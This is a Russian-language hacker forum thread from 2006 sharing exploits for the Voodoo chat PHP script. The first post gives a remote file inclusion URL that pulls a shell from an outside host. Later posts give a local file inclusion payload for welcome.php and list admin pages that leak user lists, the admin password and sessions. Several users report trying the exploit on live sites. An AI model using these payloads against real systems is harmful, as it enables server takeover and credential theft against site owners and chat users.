Чаты PHP-инклюдинг в Voodoo chat

Discussion in 'Веб-уязвимости' started by tclover, 2 Aug 2006.

  1. tclover

    tclover nobody

    Joined:
    13 Dec 2005
    Messages:
    741
    Likes Received:
    682
    Reputations:
    287
    Программа: Voodoo chat 1.0RC1b и предыдущих

    Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "file_path" в сценарии index.php.

    Пример:

    http://sitename.com/[ScriptPath]/index.php?file_path=http://SHELLURL.COM?


     
    6 people like this.
  2. Electro

    Electro Elder - Старейшина

    Joined:
    23 Oct 2005
    Messages:
    243
    Likes Received:
    45
    Reputations:
    39
    Мдаа... Жаль что в новых версиях не пашет
     
  3. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    гг я тож увидел.Думал дожили...Ппробовал на одном, неспахало
     
  4. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    В одном получилось) Молодец кловер.
     
  5. grinay

    grinay IQ- 137%

    Joined:
    15 Jun 2004
    Messages:
    409
    Likes Received:
    174
    Reputations:
    305
    if (!in_array($user_lang, $allowed_langs)) $user_lang = $language;
    else include_once($file_path.\"languages/\".$language.\".php\");
    и где тут инклуд?:)Чет не совсем понял:)
     
  6. forever777

    forever777 Banned

    Joined:
    12 Jun 2005
    Messages:
    224
    Likes Received:
    20
    Reputations:
    -12
    чето я таких версий чата найти не могу!
     
  7. Rabid Rabbit

    Rabid Rabbit Elder - Старейшина

    Joined:
    31 Aug 2003
    Messages:
    161
    Likes Received:
    15
    Reputations:
    -9
    Начица раздупляю ситуасьён. Не знаю как там в предыдущих версиях (мож кто поделится сорцами?) но на данный момент мы имеем следующее:

    ---------------------------- файл <host>/chat/index.php
    <?php
    require_once("inc_common.php");
    ---------------------------- <host>/chat/inc_common.php
    if (!($conf_content = implode("",file($data_path."voc.conf")))) {
    trigger_error("1000\tCannot open voc.conf file, please check your DATA PATH parameter",E_USER_ERROR);
    }
    eval($conf_content);
    ---------------------------- и наконец в <host>/data/voc.conf имеем
    $file_path = "<host>/chat/";
    ----------------------------

    такие пироги. пороюсь еще по остальным пхп завтра.
     
    1 person likes this.
  8. Rabid Rabbit

    Rabid Rabbit Elder - Старейшина

    Joined:
    31 Aug 2003
    Messages:
    161
    Likes Received:
    15
    Reputations:
    -9
    Итак, прадолжим. Бегло просотрел пхп-хи в <host>/chat/ - подкопаться сложно. Вощем надоело и я решил пойти другим путем. И таки имеем локальный инклуд (в текущей самой новой версии) .
    Уязвимость находится в файле <host>/chat/welcome.php :
    Code:
    require_once("inc_common.php");
    
    ////////////// скип ////////////////
    
    set_variable("user_lang");
    set_variable("c_ulang");
    if ($c_ulang != "" && $user_lang == "") $user_lang = $c_ulang;
    if (!in_array($user_lang, $allowed_langs)) $user_lang = $language;
    else include_once($file_path."languages/".$user_lang.".php");
    
    ////////////// скип ////////////////
    Тогда локальный инклуд будет иметь следующий вид:
    <host>/chat/welcome.php?allowed_langs[0]=&allowed_langs[1]=&allowed_langs[2]=../welcome&user_lang=../welcome
    Инклудим саму себя - чисто для примера.
    Ну и register_globals = on разумеется чтобы заработало.
    %00 - ессесно не катит потому что в inc_common.php в функции set_variable() присутсвует $$variable_name = str_replace("\0","", $$variable_name);
    Поэтому думаю больше тут сделать ничего низя.

    Ну и в заключение пару небольших фич:
    - получить список всех зарегеных юзеров <host>/chat/photos/renamer.php
    - позырить пароль админа здесь: <host>/chat/admin/admin_users.php
    - сессию админа здесь : <host>/chat/admin/sessions.php

    На этом у меня все.
     
    #8 Rabid Rabbit, 4 Aug 2006
    Last edited: 4 Aug 2006